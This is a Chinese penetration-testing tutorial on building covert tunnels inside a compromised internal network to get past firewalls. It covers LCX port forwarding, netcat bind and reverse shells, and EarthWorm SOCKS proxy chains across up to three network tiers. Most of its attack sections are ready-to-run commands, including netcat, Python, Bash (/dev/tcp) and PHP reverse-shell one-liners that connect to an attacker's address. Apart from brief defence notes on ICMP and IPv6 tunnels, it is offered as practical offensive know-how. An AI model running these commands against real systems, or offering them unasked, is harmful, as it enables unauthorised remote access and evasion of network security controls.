内网渗透之隐藏隧道搭建(上)

前沿

本篇主要讲一些常见的隧道搭建方法,比较常见的lck端口转发,ew隧道,nc隧道都有复现,

下一篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置

技多不压身,学习渗透总要多学习一些方法,对于我们总是好的

若是文章有错误或者不足,请多多指正

隧道简介

隧道技术是我们在获取到web服务权限后做的事情,隧道技术常用余在访问受限制的网络环境中实现数据流动和非受信任的网络中实现安全的数据传输

在实战渗透过程中,各种安全设备会检查对外连接的情况,如果发现异常,会进行对通信的阻断。因此我们需要建立一个隐秘的隧道技术,能绕过端口屏蔽,穿透防火墙的安全设备,以此来达到我们渗透的目的

这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)

常见的隧道

网络层隧道:IPv6、ICMP、GRE等 传输层隧道:TCP、UDP、常规端口转发等 应用层隧道:SSH、HTTP、HTTPS、DNS等

一、探测内网服务器出网协议

首先我们需要判断内网的连通性,连通性是指判断是否正能上网。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)以及端口的通信情况 常见允许流量出口的有80、8080、443等一些常用端口

icmp协议

ping 外网ip地址或者域名 wKg0C2EbUXOAB6DHAAKCXvQwxWM148.jpg

TCP协议

nc -zv 192.168.253.23 3306  //windows一样

wKg0C2EbUbOADzyAAEJivPKdbQ919.jpg

HTTP协议

curl https://www.baidu.com

wKg0C2EbUcuAQ7T0AAlmGavshg459.jpg

DNS协议

使用windows自带的DNS扫描命令nslookup

nslookup www.baidu.com

wKg0C2EbUeSABBvzAAEAvl0MDFM099.jpg

特殊

有一种情况是流量不能直接出来,需要进行内网代理

  1. 查看网络连接,判断是否存在与其他机器的8080 (不绝对)等端口的连接,可尝试运行ping -n 1 -a ip命令

2.查看内网中是否有主机名类似于"proxy”的机器。

3.查看IE浏览器的直接代理。

4.根据pac (代理自动配置)文件的路径(远程、本地),将其下载并查看。

5.执行如下命令,利用c urlT具确认

curl https://www.baidu.com //不通 curl -x proxy-ip:port www.baidu.com //通过

二、网络层隧道技术

在网络层隧道技术中,两个常用的隧道协议是IPv6和ICMP

但在搭建隧道的时候不会考虑网络层隧道,所以网络层的只做简单的介绍

IPv6

IPv6简介

IPv6是用来替代IPv4的一种新的IP协议。也被称为下一代互联网协议。

IPv6隧道技术是指通过IPv4隧道传送IPv6数据报文的技术。将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能通过IPv4,到达另一个IPv6上面。

IPv6隧道传输流程:

wKg0C2D5UVuAennbAABLQDYqkio230.png

节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道 节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋 在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B 节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文

防御方法

了解ipv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤ipv6通信,提高主机和应用程序的安全性

ICMP隧道

ICMP隧道简介

建立ICMP隧道,将TCP/UDP数据封装在ICMP的ping数据包 中,从而穿过防火墙。

常用的ICMP隧道工具有1.icmpsh、2.pingTUnnel、3.icmptunnel、4.powershell icmp

防御方法

网络管理员会阻止ICMP通信进入站点,在出站方向 ICMP通信是被允许的,目前大多数的网络和边界设备不会过滤ICMP流量 使用ICMP隧道时会产生大量的ICMP数据包,可以通过wireshark进行ICMP数据包分析,已检测恶意ICMP流量

三、传输层隧道技术

LCX端口转发

LCX是一个比较经典的转发工具。端口转发有两个 一个是LCX一个是SSH。LCX与SSH不同的点是。LCX只能端口对端口转发,不能全局转发 但ssh可以

目标机器

上传lcx.exe并运行

Lcx.exe -slave VPS地址 4444 127.0.0.1 3389

命令的意思是把3389端口的所有数据转发到公网vps上

wKg0C2D5VMeALLBMAADhfHRj93Q632.png

攻击者

Lcx.exe -listen 4444 5555

wKg0C2D5VOuABMqlAADKRGV04g813.png

win+r,输入mstsc进行远程连接 vps的ip+5555端口就可以连接到目标机器的3389端口(需要关掉防火墙)

wKg0C2D5VRGAITptAADLChErT8k672.png

nc(netcat)隐藏隧道技术

kali自带,windows需要安装

有两种方式可以获得shell

  • 正向Shell
  • 反向Shell

正向客户端连接服务器,客户端向要获取服务器的Shell

反向:客户端连接服务器,服务器想要获取客户端的Shell

反向Shell通常用在开启了防护措施的目标及其上,例如防火墙过滤端口转发等

正向shell

攻击者连接目标主机。

上传nc64.exe

nc -Lvp 4445 -e /bin/sh   //lInux命令  lInux只弹lInux的

nc64.exe -lvp 4445 -e c:\windows\system32\cmd.exe   //wIndows命令

wKg0C2D5VoaALFTDAABmJPUFPvg730.png

攻击者输入

nc64.exe 192.168.30.132 4445

wKg0C2D5VpeAMtDAABr55NCFR0891.png

可以查看,说明连接成功

反向shell

攻击者上开启监听端口

nc64.exe -lvp 4446     //此处无-e

wKg0C2D5VrGAOroFAACURvge5Sw011.png

目标主机

nc64.exe 192.168.30.135 4446 -e c:\windows\system32\cmd.exe  #windows


nc 192.168.x.x 4446 -e /bin/sh         #Linux

wKg0C2D5VsOAZkOuAACImoxONIs060.png

扩展

查看对方21端口上运行的信息和信息版本

nc -nv 目标ip 21

wKg0C2D5VtmAOGD7AABXR6TjWQo671.png

端口扫描

nc -v IP地址 80

80端口开启会显示 open

多端口扫描

nc64.exe -v -z IP地址 20-1024

端口监听

nc64.exe -l -p 192.168.253.23 80

特殊情况

在一般情况下,目标主机中是没有nc的,可以使用其他工具和编程语言来代替nc,实现反向连接, 方法很多,可以参考 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 我只举一些例子,更多请参看上面

Python反向 shell

攻击机监听4447端口

nc -lvp 4447

目标主机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.16",4447));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash反向Shell

攻击机

nc -lvp 4448

目标主机

bash -i >& /dev/tcp/192.168.253.16/4448 0>&1

PHP反向shell

攻击机

nc -lvp 4449

目标主机

php -r '$sock=fsockopen("192.168.253.16",4449);exec("/bin/sh -i <&3 >&3 2>&3");'

四、应用层隧道技术

EarthWorm(EW)

必须攻击者能访问到他的ip ,才能使用正向代理,否则需要使用反向代理

一级代理

正向

目标机器

ew -s ssocksd -l 888

wKg0C2D5jqqAFY01AAA93y3y5xQ893.png

攻击者

利用proxifier连接

wKg0C2D5jM2AM047AACAL1aDQzk619.png

win+r运行远程桌面连接

反向

实战思路

需要在vps上运行ew 目标主机去访问公网vps

公网VPS

ew -s rcsocks -l 1008 -e 888

wKg0C2D5j4eAN0yHAABH0swwdn8836.png

内网机器

ew -s rssocks -d vps的ip -e 888

显示ok 说明连接成功

wKg0C2D5jOOANXG3AABVH4rRiYE862.png

我们用proxifier去连接公网的vps 的端口(1008)

wKg0C2D5j66Aa4LBAAERpN1vix4714.png

就能访问内网

远程控制

二级代理

环境

A:无公网IP,可以访问外网,无法访问内网资源

B:只能访问内网资源,无法访问外网

命令

VPS上:

ew -s lcx_listen -l 1080 -e 888

即在VPS中添加转接隧道,将1080端口收到的代理请求转发给888端口。

B主机执行,利用socksd方式启动999端口的SOCKS代理:

ew -s ssocksd -l 999

A主机执行,即将VPS的888端口和B主机的999端口连接起来:

ew -s lcx_slave -d VPS 的 IP 地址-e 888 -f B 主机-g 999

执行后运行代理工具全局即可!

三级网络环境

环境

VPS一个

A:无公网IP,可以访问外网

B:只能访问内网资源,无法访问外网,只能被A访问

C:可以被B访问并能访问核心区域

实战

在VPS上执行,将1080端口收到的代理请求转发到888端口:

ew -s rcsocks -l 1080 -e 888

在A主机上将VPS的888端口与B主机的999端口连接起来:

ew -s lcx_slave -d VPS -e 888 -f B主机 -g 999

在B主机上将999端口收到的代理请求转发到777端口:

ew -s lcx_listen -l 999 -e 777

在C主机上启动S0CKS5服务并反弹到777端口

ew -s rssocks -d B -e 777
免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐